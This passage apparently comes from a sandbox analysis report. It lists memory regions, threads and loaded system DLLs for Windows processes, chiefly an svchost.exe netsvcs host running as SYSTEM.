"pagefile_0x000007fffffb0000" filename = "" Region: id = 508 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 509 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 510 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 511 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 512 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 513 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 514 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 515 start_va = 0x7fef79d0000 end_va = 0x7fef7b7ffff entry_point = 0x7fef79d0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Thread: id = 26 os_tid = 0xba0 Thread: id = 27 os_tid = 0xb9c Thread: id = 28 os_tid = 0xb98 Thread: id = 29 os_tid = 0xb94 Thread: id = 30 os_tid = 0xb90 Thread: id = 31 os_tid = 0xb88 Thread: id = 37 os_tid = 0x6c8 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x98f2000" os_pid = "0x374" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x94c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cf06" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 615 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 616 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 617 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 618 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 619 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 620 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 621 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 622 start_va = 0x150000 end_va = 0x20ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 623 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 624 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 625 start_va = 0x230000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 626 start_va = 0x240000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 627 start_va = 0x340000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 628 start_va = 0x440000 end_va = 0x5c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 629 start_va = 0x5d0000 end_va = 0x750fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 630 start_va = 0x760000 end_va = 0xb52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 631 start_va = 0xb60000 end_va = 0xb60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 632 start_va = 0xb70000 end_va = 0xb70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 633 start_va = 0xb80000 end_va = 0xb80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 634 start_va = 0xb90000 end_va = 0xc0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 635 start_va = 0xc10000 end_va = 0xc10fff entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 636 start_va = 0xca0000 end_va = 0xd1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 637 start_va = 0xd20000 end_va = 0xd21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d20000" filename = "" Region: id = 638 start_va = 0xd30000 end_va = 0xd33fff entry_point = 0xd30000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 639 start_va = 0xd40000 end_va = 0xd41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d40000" filename = "" Region: id = 640 start_va = 0xdd0000 end_va = 0xdfffff entry_point = 0xdd0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db") Region: id = 641 start_va = 0xe00000 end_va = 0xe7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 642 start_va = 0xe80000 end_va = 0xe83fff entry_point = 0xe80000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 643 start_va = 0xe90000 end_va = 0xe90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e90000" filename = "" Region: id = 644 start_va = 0xea0000 end_va = 0xf1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 645 start_va = 0xf20000 end_va = 0x11eefff entry_point = 0xf20000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 646 start_va = 0x11f0000 end_va = 0x120bfff entry_point = 0x11f0000 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 647 start_va = 0x1210000 end_va = 0x128ffff entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 648 start_va = 0x1290000 end_va = 0x1290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001290000" filename = "" Region: id = 649 start_va = 0x12a0000 end_va = 0x12a0fff entry_point = 0x0 region_type = private name = "private_0x00000000012a0000" filename = "" Region: id = 650 start_va = 0x12b0000 end_va = 0x136ffff entry_point = 0x12b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 651 start_va = 0x1370000 end_va = 0x13effff entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 652 start_va = 0x13f0000 end_va = 0x1455fff entry_point = 0x13f0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 653 start_va = 0x1460000 end_va = 0x14dffff entry_point = 0x0 region_type = private name = "private_0x0000000001460000" filename = "" Region: id = 654 start_va = 0x14e0000 end_va = 0x14effff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 655 start_va = 0x1540000 end_va = 0x15bffff entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 656 start_va = 0x15c0000 end_va = 0x163ffff entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 657 start_va = 0x1680000 end_va = 0x16fffff entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 658 start_va = 0x1720000 end_va = 0x179ffff entry_point = 0x0 region_type = private name = "private_0x0000000001720000" filename = "" Region: id = 659 start_va = 0x17a0000 end_va = 0x181ffff entry_point = 0x0 region_type = private name = "private_0x00000000017a0000" filename = "" Region: id = 660 start_va = 0x1870000 end_va = 0x18effff entry_point = 0x0 region_type = private name = "private_0x0000000001870000" filename = "" Region: id = 661 start_va = 0x1990000 end_va = 0x1a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001990000" filename = "" Region: id = 662 start_va = 0x1a30000 end_va = 0x1aaffff entry_point = 0x0 region_type = private name = "private_0x0000000001a30000" filename = "" Region: id = 663 start_va = 0x1b10000 end_va = 0x1b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b10000" filename = "" Region: id = 664 start_va = 0x1ba0000 end_va = 0x1c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ba0000" filename = "" Region: id = 665 start_va = 0x1c20000 end_va = 0x1d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c20000" filename = "" Region: id = 666 start_va = 0x1d50000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 667 start_va = 0x1e30000 end_va = 0x1eaffff entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 668 start_va = 0x1f00000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 669 start_va = 0x1f80000 end_va = 0x22c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f80000" filename = "" Region: id = 670 start_va = 0x22d0000 end_va = 0x23cffff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 671 start_va = 0x2410000 end_va = 0x248ffff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 672 start_va = 0x24c0000 end_va = 0x253ffff entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 673 start_va = 0x2620000 end_va = 0x269ffff entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 674 start_va = 0x2700000 end_va = 0x277ffff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 675 start_va = 0x27a0000 end_va = 0x281ffff entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 676 start_va = 0x2820000 end_va = 0x289ffff entry_point = 0x0 region_type = private name = "private_0x0000000002820000" filename = "" Region: id = 677 start_va = 0x2940000 end_va = 0x29bffff entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 678 start_va = 0x2a10000 end_va = 0x2a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 679 start_va = 0x2ab0000 end_va = 0x2b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ab0000" filename = "" Region: id = 680 start_va = 0x2b80000 end_va = 0x2b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b80000" filename = "" Region: id = 681 start_va = 0x2c10000 end_va = 0x2d0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c10000" filename = "" Region: id = 682 start_va = 0x2d50000 end_va = 0x2dcffff entry_point = 0x0 region_type = private name = "private_0x0000000002d50000" filename = "" Region: id = 683 start_va = 0x2dd0000 end_va = 0x2ecffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 684 start_va = 0x2ed0000 end_va = 0x2fcffff entry_point = 0x0 region_type = private name = "private_0x0000000002ed0000" filename = "" Region: id = 685 start_va = 0x2fe0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 686 start_va = 0x3050000 end_va = 0x30cffff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 687 start_va = 0x30d0000 end_va = 0x31cffff entry_point = 0x0 region_type = private name = "private_0x00000000030d0000" filename = "" Region: id = 688 start_va = 0x32c0000 end_va = 0x32cffff entry_point = 0x0 region_type = private name = "private_0x00000000032c0000" filename = "" Region: id = 689 start_va = 0x32f0000 end_va = 0x336ffff entry_point = 0x0 region_type = private name = "private_0x00000000032f0000" filename = "" Region: id = 690 start_va = 0x3410000 end_va = 0x350ffff entry_point = 0x0 region_type = private name = "private_0x0000000003410000" filename = "" Region: id = 691 start_va = 0x36d0000 end_va = 0x374ffff entry_point = 0x0 region_type = private name = "private_0x00000000036d0000" filename = "" Region: id = 692 start_va = 0x3870000 end_va = 0x38effff entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 693 start_va = 0x3a10000 end_va = 0x3a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a10000" filename = "" Region: id = 694 start_va = 0x3b20000 end_va = 0x3b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b20000" filename = "" Region: id = 695 start_va = 0x3c90000 end_va = 0x3e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c90000" filename = "" Region: id = 696 start_va = 0x3e90000 end_va = 0x3f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e90000" filename = "" Region: id = 697 start_va = 0x40b0000 end_va = 0x412ffff entry_point = 0x0 region_type = private name = "private_0x00000000040b0000" filename = "" Region: id = 698 start_va = 0x42c0000 end_va = 0x433ffff entry_point = 0x0 region_type = private name = "private_0x00000000042c0000" filename = "" Region: id = 699 start_va = 0x4370000 end_va = 0x43effff entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 700 start_va = 0x43f0000 end_va = 0x45effff entry_point = 0x0 region_type = private name = "private_0x00000000043f0000" filename = "" Region: id = 701 start_va = 0x4740000 end_va = 0x47bffff entry_point = 0x0 region_type = private name = "private_0x0000000004740000" filename = "" Region: id = 702 start_va = 0x4990000 end_va = 0x499ffff entry_point = 0x0 region_type = private name = "private_0x0000000004990000" filename = "" Region: id = 703 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 704 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 705 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 706 start_va = 0x77830000 end_va = 0x77836fff entry_point = 0x77830000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 707 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 708 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 709 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 710 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 711 start_va = 0x7feef140000 end_va = 0x7feef392fff entry_point = 0x7feef140000 region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 712 start_va = 0x7fef45e0000 end_va = 0x7fef4859fff entry_point = 0x7fef45e0000 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 713 start_va = 0x7fef4880000 end_va = 0x7fef488efff entry_point = 0x7fef4880000 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 714 start_va = 0x7fef4890000 end_va = 0x7fef48aafff entry_point = 0x7fef4890000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 715 start_va = 0x7fef49a0000 end_va = 0x7fef49b5fff entry_point = 0x7fef49a0000 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 716 start_va = 0x7fef67d0000 end_va = 0x7fef6840fff entry_point = 0x7fef67d0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 717 start_va = 0x7fef6c80000 end_va = 0x7fef6ceafff entry_point = 0x7fef6c80000 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 718 start_va = 0x7fef6cf0000 end_va = 0x7fef6d09fff entry_point = 0x7fef6cf0000 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 719 start_va = 0x7fef6d10000 end_va = 0x7fef6d8dfff entry_point = 0x7fef6d10000 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 720 start_va = 0x7fef6d90000 end_va = 0x7fef6e13fff entry_point = 0x7fef6d90000 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 721 start_va = 0x7fef6e20000 end_va = 0x7fef6e44fff entry_point = 0x7fef6e20000 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 722 start_va = 0x7fef6e50000 end_va = 0x7fef6e8cfff entry_point = 0x7fef6e50000 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 723 start_va = 0x7fef6e90000 end_va = 0x7fef6ea5fff entry_point = 0x7fef6e90000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 724 start_va = 0x7fef6eb0000 end_va = 0x7fef6f6bfff entry_point = 0x7fef6eb0000 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 725 start_va = 0x7fef6f70000 end_va = 0x7fef6fe2fff entry_point = 0x7fef6f70000 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 726 start_va = 0x7fef6ff0000 end_va = 0x7fef7015fff entry_point = 0x7fef6ff0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 727 start_va = 0x7fef7020000 end_va = 0x7fef7033fff entry_point = 0x7fef7020000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 728 start_va = 0x7fef7040000 end_va = 0x7fef70aefff entry_point = 0x7fef7040000 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 729 start_va = 0x7fef70b0000 end_va = 0x7fef71defff entry_point = 0x7fef70b0000 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 730 start_va = 0x7fef71e0000 end_va = 0x7fef7226fff entry_point = 0x7fef71e0000 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 731 start_va = 0x7fef7230000 end_va = 0x7fef7271fff entry_point = 0x7fef7230000 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 732 start_va = 0x7fef7280000 end_va = 0x7fef7311fff entry_point = 0x7fef7280000 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 733 start_va = 0x7fef7320000 end_va = 0x7fef732efff entry_point = 0x7fef7320000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 734 start_va = 0x7fef7330000 end_va = 0x7fef7356fff entry_point = 0x7fef7330000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 735 start_va = 0x7fef7360000 end_va = 0x7fef7441fff entry_point = 0x7fef7360000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 736 start_va = 0x7fef7490000 end_va = 0x7fef7515fff entry_point = 0x7fef7490000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 737 start_va = 0x7fef7520000 end_va = 0x7fef755ffff entry_point = 0x7fef7520000 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 738 start_va = 0x7fef7800000 end_va = 0x7fef7863fff entry_point = 0x7fef7800000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 739 start_va = 0x7fef7870000 end_va = 0x7fef78e0fff entry_point = 0x7fef7870000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 740 start_va = 0x7fef79b0000 end_va = 0x7fef79c6fff entry_point = 0x7fef79b0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 741 start_va = 0x7fef79d0000 end_va = 0x7fef7b7ffff entry_point = 0x7fef79d0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 742 start_va = 0x7fef7bb0000 end_va = 0x7fef7bb8fff entry_point = 0x7fef7bb0000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 743 start_va = 0x7fef8ac0000 end_va = 0x7fef8badfff entry_point = 0x7fef8ac0000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 744 start_va = 0x7fef8f50000 end_va = 0x7fef8f64fff entry_point = 0x7fef8f50000 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 745 start_va = 0x7fefaa20000 end_va = 0x7fefaa96fff entry_point = 0x7fefaa20000 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 746 start_va = 0x7fefab80000 end_va = 0x7fefab89fff entry_point = 0x7fefab80000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 747 start_va = 0x7fefab90000 end_va = 0x7fefaca1fff entry_point = 0x7fefab90000 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 748 start_va = 0x7fefacb0000 end_va = 0x7fefacbefff entry_point = 0x7fefacb0000 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 749 start_va = 0x7fefacc0000 end_va = 0x7fefacc8fff entry_point = 0x7fefacc0000 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 750 start_va = 0x7fefacd0000 end_va = 0x7fefacd8fff entry_point = 0x7fefacd0000 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 751 start_va = 0x7feface0000 end_va = 0x7fefad35fff entry_point = 0x7feface0000 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 752 start_va = 0x7fefad40000 end_va = 0x7fefad9dfff entry_point = 0x7fefad40000 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 753 start_va = 0x7fefada0000 end_va = 0x7fefadb7fff entry_point = 0x7fefada0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 754 start_va = 0x7fefadc0000 end_va = 0x7fefadd0fff entry_point = 0x7fefadc0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 755 start_va = 0x7fefadf0000 end_va = 0x7fefae42fff entry_point = 0x7fefadf0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 756 start_va = 0x7fefaf50000 end_va = 0x7fefaf5afff entry_point = 0x7fefaf50000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 757 start_va = 0x7fefaf60000 end_va = 0x7fefaf86fff entry_point = 0x7fefaf60000 region_type = mapped_file name = 